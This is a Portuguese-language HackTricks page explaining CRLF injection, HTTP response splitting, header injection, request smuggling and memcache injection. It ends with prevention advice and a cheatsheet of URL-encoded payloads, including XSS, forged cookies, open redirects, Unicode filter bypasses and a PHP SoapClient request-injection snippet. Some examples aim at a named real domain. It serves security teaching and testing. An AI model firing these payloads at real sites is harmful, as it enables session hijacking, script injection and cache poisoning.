Português - Ht
HackTricks Training Twitter Linkedin Sponsor

CRLF (%0D%0A) Injection

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensa por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100.000!

LogoRegister - IntigritiRegister - Intigriti

CRLF

Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, são sequências de caracteres especiais usadas no protocolo HTTP para denotar o final de uma linha ou o início de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeçalhos HTTP e o corpo de uma resposta. Esses caracteres são universalmente empregados em comunicações HTTP/1.1 em vários tipos de servidores web, como Apache e Microsoft IIS.

Vulnerabilidade de Injeção de CRLF

A injeção de CRLF envolve a inserção de caracteres CR e LF na entrada fornecida pelo usuário. Essa ação faz com que o servidor, aplicativo ou usuário interprete a sequência injetada como o final de uma resposta e o início de outra. Embora esses caracteres não sejam inerentemente prejudiciais, seu uso indevido pode levar a divisão de respostas HTTP e outras atividades maliciosas.

Exemplo: Injeção de CRLF em um Arquivo de Log

Exemplo daqui

Considere um arquivo de log em um painel de administração que segue o formato: IP - Hora - Caminho Visitado. Uma entrada típica pode ser:

123.123.123.123 - 08:15 - /index.php?page=home

Um atacante pode explorar uma injeção de CRLF para manipular este log. Ao injetar caracteres CRLF na solicitação HTTP, o atacante pode alterar o fluxo de saída e fabricar entradas de log. Por exemplo, uma sequência injetada pode transformar a entrada de log em:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Aqui, %0d e %0a representam as formas codificadas em URL de CR e LF. Após o ataque, o log exibiria de forma enganosa:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

O atacante assim camufla suas atividades maliciosas fazendo parecer que o localhost (uma entidade normalmente confiável dentro do ambiente do servidor) realizou as ações. O servidor interpreta a parte da consulta que começa com %0d%0a como um único parâmetro, enquanto o parâmetro restrictedaction é analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legítimo: /index.php?page=home&restrictedaction=edit

Divisão de Resposta HTTP

Descrição

A Divisão de Resposta HTTP é uma vulnerabilidade de segurança que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeçalhos do corpo usando uma sequência de caracteres específica, Retorno de Carro (CR) seguido de Alimentação de Linha (LF), coletivamente denominado como CRLF. Se um atacante conseguir inserir uma sequência CRLF em um cabeçalho de resposta, eles podem manipular efetivamente o conteúdo da resposta subsequente. Esse tipo de manipulação pode levar a problemas de segurança graves, especialmente Cross-site Scripting (XSS).

XSS através da Divisão de Resposta HTTP

  1. A aplicação define um cabeçalho personalizado assim: X-Custom-Header: UserInput

  2. A aplicação busca o valor para UserInput de um parâmetro de consulta, digamos "user_input". Em cenários sem validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.

  3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • Nesta URL, %0d%0a%0d%0a é a forma codificada da URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.

  1. O servidor reflete a entrada do atacante no cabeçalho da resposta, resultando em uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.

Um exemplo de Divisão de Resposta HTTP levando a Redirecionamento

De https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Navegador para:

/%0d%0aLocation:%20http://myweb.com

E o servidor responde com o cabeçalho:

Location: http://myweb.com

Outro exemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

No caminho do URL

Você pode enviar o payload dentro do caminho do URL para controlar a resposta do servidor (exemplo de aqui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Verifique mais exemplos em:

Logobugbounty-cheatsheet/crlf.md at master · EdOverflow/bugbounty-cheatsheetGitHub

Injeção de Cabeçalho HTTP

A Injeção de Cabeçalho HTTP, frequentemente explorada por meio da injeção de CRLF (Carriage Return and Line Feed), permite que os atacantes insiram cabeçalhos HTTP. Isso pode minar mecanismos de segurança como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando a acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário por meio do plantio de cookies.

Explorando CORS via Injeção de Cabeçalho HTTP

Um atacante pode injetar cabeçalhos HTTP para habilitar o CORS (Cross-Origin Resource Sharing), contornando as restrições impostas pela SOP. Essa violação permite que scripts de origens maliciosas interajam com recursos de uma origem diferente, potencialmente acessando dados protegidos.

SSRF e Injeção de Requisição HTTP via CRLF

A injeção de CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP inteiramente. Um exemplo notável disso é a vulnerabilidade na classe SoapClient do PHP, especificamente no parâmetro user_agent. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Injeção de Cabeçalho para Contrabando de Requisições

Para mais informações sobre essa técnica e possíveis problemas, verifique a fonte original.

Você pode injetar cabeçalhos essenciais para garantir que o back-end mantenha a conexão aberta após responder à solicitação inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Depois, pode ser especificada uma segunda solicitação. Esse cenário geralmente envolve HTTP request smuggling, uma técnica onde cabeçalhos extras ou elementos de corpo adicionados pelo servidor pós-injeção podem levar a várias explorações de segurança.

Exploração:

  1. Injeção de Prefixo Malicioso: Este método envolve envenenar a próxima solicitação do usuário ou um cache da web especificando um prefixo malicioso. Um exemplo disso é:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Criação de um Prefixo para Envenenamento da Fila de Respostas: Esta abordagem envolve criar um prefixo que, quando combinado com lixo final, forma uma segunda solicitação completa. Isso pode acionar o envenenamento da fila de respostas. Um exemplo é:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Injeção de Memcache

Memcache é um armazenamento de chave-valor que utiliza um protocolo de texto simples. Mais informações em:

page11211 - Pentesting Memcache

Para obter todas as informações, leia o artigo original

Se uma plataforma está recebendo dados de uma solicitação HTTP e os utilizando sem sanitização para realizar solicitações para um servidor memcache, um atacante poderia abusar desse comportamento para injetar novos comandos memcache.

Por exemplo, na vulnerabilidade original descoberta, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes foram capazes de injetar comandos memcache que envenenariam o cache para enviar os detalhes das vítimas (nomes de usuário e senhas incluídos) para os servidores dos atacantes:

Além disso, os pesquisadores também descobriram que poderiam dessincronizar as respostas do memcache para enviar os IPs e portas dos atacantes para usuários cujos e-mails o atacante não conhecia:

Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web

Para mitigar os riscos de Injeções de CRLF (Carriage Return e Line Feed) ou Cabeçalhos HTTP em aplicações web, as seguintes estratégias são recomendadas:

  1. Evitar Entrada Direta do Usuário nos Cabeçalhos de Resposta: A abordagem mais segura é abster-se de incorporar a entrada fornecida pelo usuário diretamente nos cabeçalhos de resposta.

  2. Codificar Caracteres Especiais: Se evitar a entrada direta do usuário não for viável, certifique-se de empregar uma função dedicada à codificação de caracteres especiais como CR (Carriage Return) e LF (Line Feed). Essa prática previne a possibilidade de injeção de CRLF.

  3. Atualizar a Linguagem de Programação: Atualize regularmente a linguagem de programação utilizada em suas aplicações web para a versão mais recente. Opte por uma versão que naturalmente impeça a injeção de caracteres CR e LF dentro de funções encarregadas de definir cabeçalhos HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Ferramentas Automáticas

Lista de Detecção de Força Bruta

Referências

Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100,000!

Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

PreviousCORS - Misconfigurations & BypassNextCSRF (Cross Site Request Forgery)

Last updated